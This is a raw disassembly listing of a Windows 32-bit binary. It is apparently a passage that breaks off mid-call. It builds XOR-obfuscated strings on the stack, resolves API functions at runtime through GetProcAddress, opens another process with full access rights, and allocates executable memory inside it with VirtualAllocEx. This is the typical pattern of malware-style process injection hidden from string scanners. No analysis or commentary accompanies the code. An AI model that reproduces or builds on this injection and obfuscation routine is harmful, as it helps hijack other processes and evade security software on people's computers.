mov dword [ebp - 0xcdc], 0x873f9a44
push eax
lea ecx, [ebp - 0x3198]
mov dword [ebp - 0x1998], 0xad7cb806
mov dword [ebp - 0x1994], 0x873f9a44
mov dword [ebp - 0xcd8], 0x51d404b2
mov dword [ebp - 0xcd4], 0x865f5ef1
mov dword [ebp - 0x1990], 0x51d404b2
mov dword [ebp - 0x198c], 0x865f5ef1
mov dword [ebp - 0xcd0], 0x70533519
mov dword [ebp - 0xccc], 0x59cf328
mov dword [ebp - 0x1988], 0x70533519
mov dword [ebp - 0x1984], 0x59cf328
mov dword [ebp - 0xcc8], 0x41b1e62
mov dword [ebp - 0xcc4], 0x60eff0d5
mov dword [ebp - 0x1980], 0x41b1e62
mov dword [ebp - 0x197c], 0x60eff0d5
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x860]
lea eax, [ebp - 0xce0]
pxor xmm1, xmmword [ebp - 0xce0]
movaps xmmword [ebp - 0xce0], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xcd0]
push eax
movaps xmmword [ebp - 0xcd0], xmm1
call edi
mov edi, eax
mov dword [ebp - 0x2eb0], 0xde7cdd26
lea eax, [ebp - 0x2ea0]
mov dword [ebp - 0x2eac], 0xc539fd53
push eax
lea eax, [ebp - 0x2eb0]
mov dword [ebp - 0x2ea8], 0x51e17caf
push eax
lea ecx, [ebp - 0x3190]
mov dword [ebp - 0x2ea4], 0x863b5edf
call fcn.0045f450
lea eax, [ebp - 0x2eb0]
mov dword [ebp - 0x850], 0xad0fb86b
push eax
lea eax, [ebp - 0x2ec0]
mov dword [ebp - 0x84c], 0x875c9a32
push eax
lea ecx, [ebp - 0x3188]
mov dword [ebp - 0x2ec0], 0xad0fb86b
mov dword [ebp - 0x2ebc], 0x875c9a32
mov dword [ebp - 0x848], 0x51a004c0
mov dword [ebp - 0x844], 0x863b5edf
mov dword [ebp - 0x2eb8], 0x51a004c0
mov dword [ebp - 0x2eb4], 0x863b5edf
call fcn.0045f450
lea eax, [ebp - 0x2ec0]
mov dword [ebp - 0xa30], 0xde7cdd26
push eax
lea eax, [ebp - 0x2ed0]
mov dword [ebp - 0xa2c], 0xc539fd53
push eax
lea ecx, [ebp - 0x3180]
mov dword [ebp - 0x2ed0], 0xde7cdd26
mov dword [ebp - 0x2ecc], 0xc539fd53
mov dword [ebp - 0xa28], 0x51e17caf
mov dword [ebp - 0xa24], 0x863b5edf
mov dword [ebp - 0x2ec8], 0x51e17caf
mov dword [ebp - 0x2ec4], 0x863b5edf
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xa30]
lea eax, [ebp - 0xa30]
pxor xmm1, xmmword [ebp - 0x850]
push eax
push esi
movaps xmmword [ebp - 0xa30], xmm1
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x2990], eax
lea ecx, [ebp - 0x3178]
lea eax, [ebp - 0x1958]
mov dword [ebp - 0x1978], 0xe07bdd2c
push eax
lea eax, [ebp - 0x1978]
mov dword [ebp - 0x1974], 0xeb29fe5d
push eax
mov dword [ebp - 0x1970], 0x3fc14ca5
mov dword [ebp - 0x196c], 0xd15e32bb
mov dword [ebp - 0x1968], 0x703f3575
mov dword [ebp - 0x1964], 0x59cf328
mov dword [ebp - 0x1960], 0x41b1e62
mov dword [ebp - 0x195c], 0x60eff0d5
call fcn.0045f450
lea eax, [ebp - 0x1938]
mov dword [ebp - 0x860], 0xad0fb86b
push eax
lea eax, [ebp - 0x1958]
mov dword [ebp - 0x85c], 0x875c9a32
push eax
lea ecx, [ebp - 0x3170]
mov dword [ebp - 0x1958], 0xad0fb86b
mov dword [ebp - 0x1954], 0x875c9a32
mov dword [ebp - 0x858], 0x51a004c0
mov dword [ebp - 0x854], 0x863b5edf
mov dword [ebp - 0x1950], 0x51a004c0
mov dword [ebp - 0x194c], 0x863b5edf
mov dword [ebp - 0x850], 0x703f3575
mov dword [ebp - 0x84c], 0x59cf328
mov dword [ebp - 0x1948], 0x703f3575
mov dword [ebp - 0x1944], 0x59cf328
mov dword [ebp - 0x848], 0x41b1e62
mov dword [ebp - 0x844], 0x60eff0d5
mov dword [ebp - 0x1940], 0x41b1e62
mov dword [ebp - 0x193c], 0x60eff0d5
call fcn.0045f450
lea eax, [ebp - 0x1918]
mov dword [ebp - 0xea0], 0xe07bdd2c
push eax
lea eax, [ebp - 0x1938]
mov dword [ebp - 0xe9c], 0xeb29fe5d
push eax
lea ecx, [ebp - 0x3168]
mov dword [ebp - 0x1938], 0xe07bdd2c
mov dword [ebp - 0x1934], 0xeb29fe5d
mov dword [ebp - 0xe98], 0x3fc14ca5
mov dword [ebp - 0xe94], 0xd15e32bb
mov dword [ebp - 0x1930], 0x3fc14ca5
mov dword [ebp - 0x192c], 0xd15e32bb
mov dword [ebp - 0xe90], 0x703f3575
mov dword [ebp - 0xe8c], 0x59cf328
mov dword [ebp - 0x1928], 0x703f3575
mov dword [ebp - 0x1924], 0x59cf328
mov dword [ebp - 0xe88], 0x41b1e62
mov dword [ebp - 0xe84], 0x60eff0d5
mov dword [ebp - 0x1920], 0x41b1e62
mov dword [ebp - 0x191c], 0x60eff0d5
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x860]
lea eax, [ebp - 0xea0]
pxor xmm1, xmmword [ebp - 0xea0]
mov esi, dword [ebp - 0x2b2c]
movaps xmmword [ebp - 0xea0], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xe90]
push eax
push esi
movaps xmmword [ebp - 0xe90], xmm1
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x2994], eax
mov dword [ebp - 0x2ee0], 0xc96ed727
mov dword [ebp - 0x2edc], 0xf53ef37e
mov dword [ebp - 0x2ed8], 0x6d976a1
lea eax, [ebp - 0x2ed0]
mov dword [ebp - 0x2ed4], 0x863b5edf
push eax
lea eax, [ebp - 0x2ee0]
push eax
lea ecx, [ebp - 0x3160]
call fcn.0045f450
lea eax, [ebp - 0x2ee0]
mov dword [ebp - 0x850], 0xad0fb86b
push eax
lea eax, [ebp - 0x2ef0]
mov dword [ebp - 0x84c], 0x875c9a32
push eax
lea ecx, [ebp - 0x3158]
mov dword [ebp - 0x2ef0], 0xad0fb86b
mov dword [ebp - 0x2eec], 0x875c9a32
mov dword [ebp - 0x848], 0x51a004c0
mov dword [ebp - 0x844], 0x863b5edf
mov dword [ebp - 0x2ee8], 0x51a004c0
mov dword [ebp - 0x2ee4], 0x863b5edf
call fcn.0045f450
lea eax, [ebp - 0x2ef0]
mov dword [ebp - 0x9b0], 0xc96ed727
push eax
lea eax, [ebp - 0x2f00]
mov dword [ebp - 0x9ac], 0xf53ef37e
push eax
lea ecx, [ebp - 0x3150]
mov dword [ebp - 0x2f00], 0xc96ed727
mov dword [ebp - 0x2efc], 0xf53ef37e
mov dword [ebp - 0x9a8], 0x6d976a1
mov dword [ebp - 0x9a4], 0x863b5edf
mov dword [ebp - 0x2ef8], 0x6d976a1
mov dword [ebp - 0x2ef4], 0x863b5edf
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x9b0]
lea eax, [ebp - 0x9b0]
pxor xmm1, xmmword [ebp - 0x850]
push eax
push esi
movaps xmmword [ebp - 0x9b0], xmm1
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x2998], eax
lea ecx, [ebp - 0x3148]
lea eax, [ebp - 0x2f00]
mov dword [ebp - 0x2f10], 0xc86ad438
push eax
lea eax, [ebp - 0x2f10]
mov dword [ebp - 0x2f0c], 0x875c9a42
push eax
mov dword [ebp - 0x2f08], 0x51a004c0
mov dword [ebp - 0x2f04], 0x863b5edf
call fcn.0045f450
lea eax, [ebp - 0x2f10]
mov dword [ebp - 0x850], 0xad0fb86b
push eax
lea eax, [ebp - 0x2f20]
mov dword [ebp - 0x84c], 0x875c9a32
push eax
lea ecx, [ebp - 0x3140]
mov dword [ebp - 0x2f20], 0xad0fb86b
mov dword [ebp - 0x2f1c], 0x875c9a32
mov dword [ebp - 0x848], 0x51a004c0
mov dword [ebp - 0x844], 0x863b5edf
mov dword [ebp - 0x2f18], 0x51a004c0
mov dword [ebp - 0x2f14], 0x863b5edf
call fcn.0045f450
lea eax, [ebp - 0x2f20]
mov dword [ebp - 0xa20], 0xc86ad438
push eax
lea eax, [ebp - 0x2f30]
mov dword [ebp - 0xa1c], 0x875c9a42
push eax
lea ecx, [ebp - 0x3138]
mov dword [ebp - 0x2f30], 0xc86ad438
mov dword [ebp - 0x2f2c], 0x875c9a42
mov dword [ebp - 0xa18], 0x51a004c0
mov dword [ebp - 0xa14], 0x863b5edf
mov dword [ebp - 0x2f28], 0x51a004c0
mov dword [ebp - 0x2f24], 0x863b5edf
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x850]
lea eax, [ebp - 0xa20]
pxor xmm1, xmmword [ebp - 0xa20]
push eax
push esi
movaps xmmword [ebp - 0xa20], xmm1
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x298c], eax
lea ecx, [ebp - 0x3130]
lea eax, [ebp - 0x2f30]
mov dword [ebp - 0x2f40], 0xc47dc818
push eax
lea eax, [ebp - 0x2f40]
mov dword [ebp - 0x2f3c], 0x873aee5c
push eax
mov dword [ebp - 0x2f38], 0x51a004c0
mov dword [ebp - 0x2f34], 0x863b5edf
call fcn.0045f450
lea eax, [ebp - 0x2f40]
mov dword [ebp - 0x850], 0xad0fb86b
push eax
lea eax, [ebp - 0x2f50]
mov dword [ebp - 0x84c], 0x875c9a32
push eax
lea ecx, [ebp - 0x3128]
mov dword [ebp - 0x2f50], 0xad0fb86b
mov dword [ebp - 0x2f4c], 0x875c9a32
mov dword [ebp - 0x848], 0x51a004c0
mov dword [ebp - 0x844], 0x863b5edf
mov dword [ebp - 0x2f48], 0x51a004c0
mov dword [ebp - 0x2f44], 0x863b5edf
call fcn.0045f450
lea eax, [ebp - 0x2f50]
mov dword [ebp - 0x9d0], 0xc47dc818
push eax
lea eax, [ebp - 0x2f60]
mov dword [ebp - 0x9cc], 0x873aee5c
push eax
lea ecx, [ebp - 0x3120]
mov dword [ebp - 0x2f60], 0xc47dc818
mov dword [ebp - 0x2f5c], 0x873aee5c
mov dword [ebp - 0x9c8], 0x51a004c0
mov dword [ebp - 0x9c4], 0x863b5edf
mov dword [ebp - 0x2f58], 0x51a004c0
mov dword [ebp - 0x2f54], 0x863b5edf
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x850]
lea eax, [ebp - 0x9d0]
pxor xmm1, xmmword [ebp - 0x9d0]
push eax
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
movaps xmmword [ebp - 0x9d0], xmm1
call edi
mov dword [ebp - 0x2984], eax
lea ecx, [ebp - 0x3118]
lea eax, [ebp - 0x2f60]
mov dword [ebp - 0x2f70], 0xe17bdd2c
push eax
lea eax, [ebp - 0x2f70]
mov dword [ebp - 0x2f6c], 0xc228e953
push eax
mov dword [ebp - 0x2f68], 0x23cf76b2
mov dword [ebp - 0x2f64], 0x863b5edf
call fcn.0045f450
lea eax, [ebp - 0x2c00]
mov dword [ebp - 0x850], 0xad0fb86b
push eax
lea eax, [ebp - 0x2c10]
mov dword [ebp - 0x84c], 0x875c9a32
push eax
lea ecx, [ebp - 0x3110]
mov dword [ebp - 0x2c10], 0xad0fb86b
mov dword [ebp - 0x2c0c], 0x875c9a32
mov dword [ebp - 0x848], 0x51a004c0
mov dword [ebp - 0x844], 0x863b5edf
mov dword [ebp - 0x2c08], 0x51a004c0
mov dword [ebp - 0x2c04], 0x863b5edf
call fcn.0045f450
mov dword [ebp - 0x9e0], 0xe17bdd2c
mov dword [ebp - 0x9dc], 0xc228e953
lea eax, [ebp - 0x2f70]
mov dword [ebp - 0x2f80], 0xe17bdd2c
push eax
lea eax, [ebp - 0x2f80]
mov dword [ebp - 0x2f7c], 0xc228e953
push eax
lea ecx, [ebp - 0x3108]
mov dword [ebp - 0x9d8], 0x23cf76b2
mov dword [ebp - 0x9d4], 0x863b5edf
mov dword [ebp - 0x2f78], 0x23cf76b2
mov dword [ebp - 0x2f74], 0x863b5edf
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x9e0]
lea eax, [ebp - 0x9e0]
pxor xmm1, xmmword [ebp - 0x850]
push eax
push esi
movaps xmmword [ebp - 0x9e0], xmm1
call edi
mov dword [ebp - 0x2988], eax
call fcn.0044d300
test al, al
jne 0x45afa5
push 0x10
push 0x66ee58
push 0x66ee60
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x860], 0xad0fb86b
mov dword [ebp - 0x85c], 0x875c9a32
mov dword [ebp - 0x858], 0x51a004c0
mov dword [ebp - 0x854], 0x863b5edf
mov dword [ebp - 0x850], 0x703f3575
mov dword [ebp - 0x84c], 0x59cf328
mov dword [ebp - 0x848], 0x41b1e62
mov dword [ebp - 0x844], 0x60eff0d5
nop dword [eax + eax]
mov dword [ebp - 0xcf0], 0x706a3538
lea ecx, [ebp - 0xd00]
mov dword [ebp - 0xcec], 0x5ddf364
mov dword [ebp - 0xce8], 0x4541e36
mov dword [ebp - 0xce4], 0x60eff087
mov dword [ebp - 0xd00], 0xad41b82a
mov dword [ebp - 0xcfc], 0x870e9a76
mov dword [ebp - 0xcf8], 0x51e9048f
mov dword [ebp - 0xcf4], 0x867e5e9b
movaps xmm0, xmmword [ebp - 0xd00]
pxor xmm0, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xd00], xmm0
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xcf0]
movaps xmmword [ebp - 0xcf0], xmm1
call fcn.00454290
mov edi, eax
mov dword [ebp - 0x2b2c], edi
test edi, edi
jne 0x45b1dc
mov dword [ebp - 0x1130], 0x706b353c
lea ecx, [ebp - 0x1140]
mov dword [ebp - 0x112c], 0x5d2f369
mov dword [ebp - 0x1128], 0x45e1e4c
mov dword [ebp - 0x1124], 0x60aaf08d
mov dword [ebp - 0x1120], 0x5e5878f
mov dword [ebp - 0x111c], 0xc870fe56
mov dword [ebp - 0x1118], 0x22b58714
mov dword [ebp - 0x1114], 0x75f60763
mov dword [ebp - 0x1140], 0xad5db83b
mov dword [ebp - 0x113c], 0x87169a7d
mov dword [ebp - 0x1138], 0x51e30485
mov dword [ebp - 0x1134], 0x866f5e8b
movaps xmm1, xmmword [ebp - 0x1140]
mov dword [ebp - 0x8a0], 0xad0fb86b
mov dword [ebp - 0x89c], 0x875c9a32
mov dword [ebp - 0x898], 0x51a004c0
mov dword [ebp - 0x894], 0x863b5edf
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x1140], xmm1
mov dword [ebp - 0x890], 0x703f3575
mov dword [ebp - 0x88c], 0x59cf328
mov dword [ebp - 0x888], 0x41b1e62
mov dword [ebp - 0x884], 0x60eff0d5
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0x1130]
movaps xmmword [ebp - 0x1130], xmm1
mov dword [ebp - 0x880], 0x5e5878f
mov dword [ebp - 0x87c], 0xc870fe56
mov dword [ebp - 0x878], 0x22b58714
mov dword [ebp - 0x874], 0x75f60763
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x1120]
movaps xmmword [ebp - 0x1120], xmm1
call fcn.00454290
mov edi, eax
mov dword [ebp - 0x2b2c], eax
push 0x32
call esi
test edi, edi
je 0x45b000
push 0x1f4
call esi
lea eax, [ebp - 0x2f80]
mov dword [ebp - 0x2f90], 0x974bf13b
push eax
lea eax, [ebp - 0x2f90]
mov dword [ebp - 0x2f8c], 0x8d38bf12
push eax
lea ecx, [ebp - 0x3100]
mov dword [ebp - 0x2f88], 0x51a004c0
mov dword [ebp - 0x2f84], 0x863b5edf
call fcn.0045f450
lea eax, [ebp - 0x2f90]
mov dword [ebp - 0x850], 0xad0fb86b
push eax
lea eax, [ebp - 0x2fa0]
mov dword [ebp - 0x84c], 0x875c9a32
push eax
lea ecx, [ebp - 0x30f8]
mov dword [ebp - 0x2fa0], 0xad0fb86b
mov dword [ebp - 0x2f9c], 0x875c9a32
mov dword [ebp - 0x848], 0x51a004c0
mov dword [ebp - 0x844], 0x863b5edf
mov dword [ebp - 0x2f98], 0x51a004c0
mov dword [ebp - 0x2f94], 0x863b5edf
call fcn.0045f450
lea eax, [ebp - 0x2fa0]
mov dword [ebp - 0x9f0], 0x974bf13b
push eax
lea eax, [ebp - 0x2fb0]
mov dword [ebp - 0x9ec], 0x8d38bf12
push eax
lea ecx, [ebp - 0x30f0]
mov dword [ebp - 0x2fb0], 0x974bf13b
mov dword [ebp - 0x2fac], 0x8d38bf12
mov dword [ebp - 0x9e8], 0x51a004c0
mov dword [ebp - 0x9e4], 0x863b5edf
mov dword [ebp - 0x2fa8], 0x51a004c0
mov dword [ebp - 0x2fa4], 0x863b5edf
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x9f0]
lea eax, [ebp - 0x9f0]
pxor xmm1, xmmword [ebp - 0x850]
push edi
push eax
movaps xmmword [ebp - 0x9f0], xmm1
call fcn.0044b300
add esp, 8
push edi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov dword [ebp - 0x2b3c], esi
test esi, esi
jne 0x45b649
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov esi, eax
mov dword [ebp - 0x1f78], 0xc36ac824
lea eax, [ebp - 0x1f48]
mov dword [ebp - 0x1f74], 0xe433e862
push eax
lea eax, [ebp - 0x1f78]
mov dword [ebp - 0x1f70], 0x71d377a5
push eax
lea ecx, [ebp - 0x30e8]
mov dword [ebp - 0x1f6c], 0xea523fb9
mov dword [ebp - 0x1f68], 0x71f5110
mov dword [ebp - 0x1f64], 0x25f48741
mov dword [ebp - 0x1f60], 0x617f7101
mov dword [ebp - 0x1f5c], 0x6a8bd5f5
mov dword [ebp - 0x1f58], 0x5e5878f
mov dword [ebp - 0x1f54], 0xc870fe56
mov dword [ebp - 0x1f50], 0x22b58714
mov dword [ebp - 0x1f4c], 0x75f60763
call fcn.0045f450
lea eax, [ebp - 0x1e58]
mov dword [ebp - 0x8a0], 0xad0fb86b
push eax
lea eax, [ebp - 0x1e88]
mov dword [ebp - 0x89c], 0x875c9a32
push eax
lea ecx, [ebp - 0x30e0]
mov dword [ebp - 0x1e88], 0xad0fb86b
mov dword [ebp - 0x1e84], 0x875c9a32
mov dword [ebp - 0x898], 0x51a004c0
mov dword [ebp - 0x894], 0x863b5edf
mov dword [ebp - 0x1e80], 0x51a004c0
mov dword [ebp - 0x1e7c], 0x863b5edf
mov dword [ebp - 0x890], 0x703f3575
mov dword [ebp - 0x88c], 0x59cf328
mov dword [ebp - 0x1e78], 0x703f3575
mov dword [ebp - 0x1e74], 0x59cf328
mov dword [ebp - 0x888], 0x41b1e62
mov dword [ebp - 0x884], 0x60eff0d5
mov dword [ebp - 0x1e70], 0x41b1e62
mov dword [ebp - 0x1e6c], 0x60eff0d5
mov dword [ebp - 0x880], 0x5e5878f
mov dword [ebp - 0x87c], 0xc870fe56
mov dword [ebp - 0x1e68], 0x5e5878f
mov dword [ebp - 0x1e64], 0xc870fe56
mov dword [ebp - 0x878], 0x22b58714
mov dword [ebp - 0x874], 0x75f60763
mov dword [ebp - 0x1e60], 0x22b58714
mov dword [ebp - 0x1e5c], 0x75f60763
call fcn.0045f450
lea eax, [ebp - 0x1f78]
mov dword [ebp - 0x1110], 0xc36ac824
push eax
lea eax, [ebp - 0x1fa8]
mov dword [ebp - 0x110c], 0xe433e862
push eax
lea ecx, [ebp - 0x30d8]
mov dword [ebp - 0x1fa8], 0xc36ac824
mov dword [ebp - 0x1fa4], 0xe433e862
mov dword [ebp - 0x1108], 0x71d377a5
mov dword [ebp - 0x1104], 0xea523fb9
mov dword [ebp - 0x1fa0], 0x71d377a5
mov dword [ebp - 0x1f9c], 0xea523fb9
mov dword [ebp - 0x1100], 0x71f5110
mov dword [ebp - 0x10fc], 0x25f48741
mov dword [ebp - 0x1f98], 0x71f5110
mov dword [ebp - 0x1f94], 0x25f48741
mov dword [ebp - 0x10f8], 0x617f7101
mov dword [ebp - 0x10f4], 0x6a8bd5f5
mov dword [ebp - 0x1f90], 0x617f7101
mov dword [ebp - 0x1f8c], 0x6a8bd5f5
mov dword [ebp - 0x10f0], 0x5e5878f
mov dword [ebp - 0x10ec], 0xc870fe56
mov dword [ebp - 0x1f88], 0x5e5878f
mov dword [ebp - 0x1f84], 0xc870fe56
mov dword [ebp - 0x10e8], 0x22b58714
mov dword [ebp - 0x10e4], 0x75f60763
mov dword [ebp - 0x1f80], 0x22b58714
mov dword [ebp - 0x1f7c], 0x75f60763
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x8a0]
lea eax, [ebp - 0x1110]
pxor xmm1, xmmword [ebp - 0x1110]
movaps xmmword [ebp - 0x1110], xmm1
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0x1100]
movaps xmmword [ebp - 0x1100], xmm1
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x10f0]
push esi
push eax
movaps xmmword [ebp - 0x10f0], xmm1
call fcn.0044b300
add esp, 8
jmp 0x45ccba
push 0x40
push 0x3000
push 0x720
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x2b44], eax
test eax, eax
jne 0x45b96f
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov esi, eax
mov dword [ebp - 0x1eb8], 0xd97dd13d
lea eax, [ebp - 0x1e88]
mov dword [ebp - 0x1eb4], 0xc630fb47
push eax
lea eax, [ebp - 0x1eb8]
mov dword [ebp - 0x1eb0], 0x32cf68ac
push eax
lea ecx, [ebp - 0x30d0]
mov dword [ebp - 0x1eac], 0xe01b269a
mov dword [ebp - 0x1ea8], 0x15535c14
mov dword [ebp - 0x1ea4], 0x6cebd34c
mov dword [ebp - 0x1ea0], 0x673b7616
mov dword [ebp - 0x1e9c], 0x408a94ba
mov dword [ebp - 0x1e98], 0x5efe3aa
mov dword [ebp - 0x1e94], 0xc870fe56
mov dword [ebp - 0x1e90], 0x22b58714
mov dword [ebp - 0x1e8c], 0x75f60763
call fcn.0045f450
lea eax, [ebp - 0x1eb8]
mov dword [ebp - 0x8a0], 0xad0fb86b
push eax
lea eax, [ebp - 0x1ee8]
mov dword [ebp - 0x89c], 0x875c9a32
push eax
lea ecx, [ebp - 0x30c8]
mov dword [ebp - 0x1ee8], 0xad0fb86b
mov dword [ebp - 0x1ee4], 0x875c9a32
mov dword [ebp - 0x898], 0x51a004c0
mov dword [ebp - 0x894], 0x863b5edf
mov dword [ebp - 0x1ee0], 0x51a004c0
mov dword [ebp - 0x1edc], 0x863b5edf
mov dword [ebp - 0x890], 0x703f3575
mov dword [ebp - 0x88c], 0x59cf328
mov dword [ebp - 0x1ed8], 0x703f3575
mov dword [ebp - 0x1ed4], 0x59cf328
mov dword [ebp - 0x888], 0x41b1e62
mov dword [ebp - 0x884], 0x60eff0d5
mov dword [ebp - 0x1ed0], 0x41b1e62
mov dword [ebp - 0x1ecc], 0x60eff0d5
mov dword [ebp - 0x880], 0x5e5878f
mov dword [ebp - 0x87c], 0xc870fe56
mov dword [ebp - 0x1ec8], 0x5e5878f
mov dword [ebp - 0x1ec4], 0xc870fe56
mov dword [ebp - 0x878], 0x22b58714
mov dword [ebp - 0x874], 0x75f60763
mov dword [ebp - 0x1ec0], 0x22b58714
mov dword [ebp - 0x1ebc], 0x75f60763
call fcn.0045f450
lea eax, [ebp - 0x1ee8]
mov dword [ebp - 0x1020], 0xd97dd13d
push eax
lea eax, [ebp - 0x1f18]
mov dword [ebp - 0x101c], 0xc630fb47
push eax
lea ecx, [ebp - 0x30c0]
mov dword [ebp - 0x1f18], 0xd97dd13d
mov dword [ebp - 0x1f14], 0xc630fb47
mov dword [ebp - 0x1018], 0x32cf68ac
mov dword [ebp - 0x1014], 0xe01b269a
mov dword [ebp - 0x1f10], 0x32cf68ac
mov dword [ebp - 0x1f0c], 0xe01b269a
mov dword [ebp - 0x1010], 0x15535c14
mov dword [ebp - 0x100c], 0x6cebd34c
mov dword [ebp - 0x1f08], 0x15535c14
mov dword [ebp - 0x1f04], 0x6cebd34c
mov dword [ebp - 0x1008], 0x673b7616
mov dword [ebp - 0x1004], 0x408a94ba
mov dword [ebp - 0x1f00], 0x673b7616
mov dword [ebp - 0x1efc], 0x408a94ba
mov dword [ebp - 0x1000], 0x5efe3aa
mov dword [ebp - 0xffc], 0xc870fe56
mov dword [ebp - 0x1ef8], 0x5efe3aa
mov dword [ebp - 0x1ef4], 0xc870fe56
mov dword [ebp - 0xff8], 0x22b58714
mov dword [ebp - 0xff4], 0x75f60763
mov dword [ebp - 0x1ef0], 0x22b58714
mov dword [ebp - 0x1eec], 0x75f60763
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x8a0]
lea eax, [ebp - 0x1020]
pxor xmm1, xmmword [ebp - 0x1020]
movaps xmmword [ebp - 0x1020], xmm1
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0x1010]
movaps xmmword [ebp - 0x1010], xmm1
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x1000]
push esi
push eax
movaps xmmword [ebp - 0x1000], xmm1
call fcn.0044b300
add esp, 8
jmp 0x45ccba
push 4
push 0x1000
push 0x720
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x2b40], eax
test eax, eax
jne 0x45bc95
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov esi, eax
mov dword [ebp - 0x1f48], 0x8d528a30
lea eax, [ebp - 0x1f18]
mov dword [ebp - 0x1f44], 0xf32ef364
push eax
lea eax, [ebp - 0x1f48]
mov dword [ebp - 0x1f40], 0x10cc65b5
push eax
lea ecx, [ebp - 0x30b8]
mov dword [ebp - 0x1f3c], 0xe55432b3
mov dword [ebp - 0x1f38], 0x161f4d30
mov dword [ebp - 0x1f34], 0x60f09a49
mov dword [ebp - 0x1f30], 0x6d6c3e06
mov dword [ebp - 0x1f2c], 0x3cf98a1
mov dword [ebp - 0x1f28], 0x2580e3e0
mov dword [ebp - 0x1f24], 0xc87a9a73
mov dword [ebp - 0x1f20], 0x22b58714
mov dword [ebp - 0x1f1c], 0x75f60763
call fcn.0045f450
lea eax, [ebp - 0x1a38]
mov dword [ebp - 0x8a0], 0xad0fb86b
push eax
lea eax, [ebp - 0x1a68]
mov dword [ebp - 0x89c], 0x875c9a32
push eax
lea ecx, [ebp - 0x30b0]
mov dword [ebp - 0x1a68], 0xad0fb86b
mov dword [ebp - 0x1a64], 0x875c9a32
mov dword [ebp - 0x898], 0x51a004c0
mov dword [ebp - 0x894], 0x863b5edf
mov dword [ebp - 0x1a60], 0x51a004c0
mov dword [ebp - 0x1a5c], 0x863b5edf
mov dword [ebp - 0x890], 0x703f3575
mov dword [ebp - 0x88c], 0x59cf328
mov dword [ebp - 0x1a58], 0x703f3575
mov dword [ebp - 0x1a54], 0x59cf328
mov dword [ebp - 0x888], 0x41b1e62
mov dword [ebp - 0x884], 0x60eff0d5
mov dword [ebp - 0x1a50], 0x41b1e62
mov dword [ebp - 0x1a4c], 0x60eff0d5
mov dword [ebp - 0x880], 0x5e5878f
mov dword [ebp - 0x87c], 0xc870fe56
mov dword [ebp - 0x1a48], 0x5e5878f
mov dword [ebp - 0x1a44], 0xc870fe56
mov dword [ebp - 0x878], 0x22b58714
mov dword [ebp - 0x874], 0x75f60763
mov dword [ebp - 0x1a40], 0x22b58714
mov dword [ebp - 0x1a3c], 0x75f60763
call fcn.0045f450
lea eax, [ebp - 0x1a68]
mov dword [ebp - 0x10e0], 0x8d528a30
push eax
lea eax, [ebp - 0x1a98]
mov dword [ebp - 0x10dc], 0xf32ef364
push eax
lea ecx, [ebp - 0x30a8]
mov dword [ebp - 0x1a98], 0x8d528a30
mov dword [ebp - 0x1a94], 0xf32ef364
mov dword [ebp - 0x10d8], 0x10cc65b5
mov dword [ebp - 0x10d4], 0xe55432b3
mov dword [ebp - 0x1a90], 0x10cc65b5
mov dword [ebp - 0x1a8c], 0xe55432b3
mov dword [ebp - 0x10d0], 0x161f4d30
mov dword [ebp - 0x10cc], 0x60f09a49
mov dword [ebp - 0x1a88], 0x161f4d30
mov dword [ebp - 0x1a84], 0x60f09a49
mov dword [ebp - 0x10c8], 0x6d6c3e06
mov dword [ebp - 0x10c4], 0x3cf98a1
mov dword [ebp - 0x1a80], 0x6d6c3e06
mov dword [ebp - 0x1a7c], 0x3cf98a1
mov dword [ebp - 0x10c0], 0x2580e3e0
mov dword [ebp - 0x10bc], 0xc87a9a73
mov dword [ebp - 0x1a78], 0x2580e3e0
mov dword [ebp - 0x1a74], 0xc87a9a73
mov dword [ebp - 0x10b8], 0x22b58714
mov dword [ebp - 0x10b4], 0x75f60763
mov dword [ebp - 0x1a70], 0x22b58714
mov dword [ebp - 0x1a6c], 0x75f60763
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x10e0]
lea eax, [ebp - 0x10e0]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x10e0], xmm1
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0x10d0]
movaps xmmword [ebp - 0x10d0], xmm1
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x10c0]
push esi
push eax
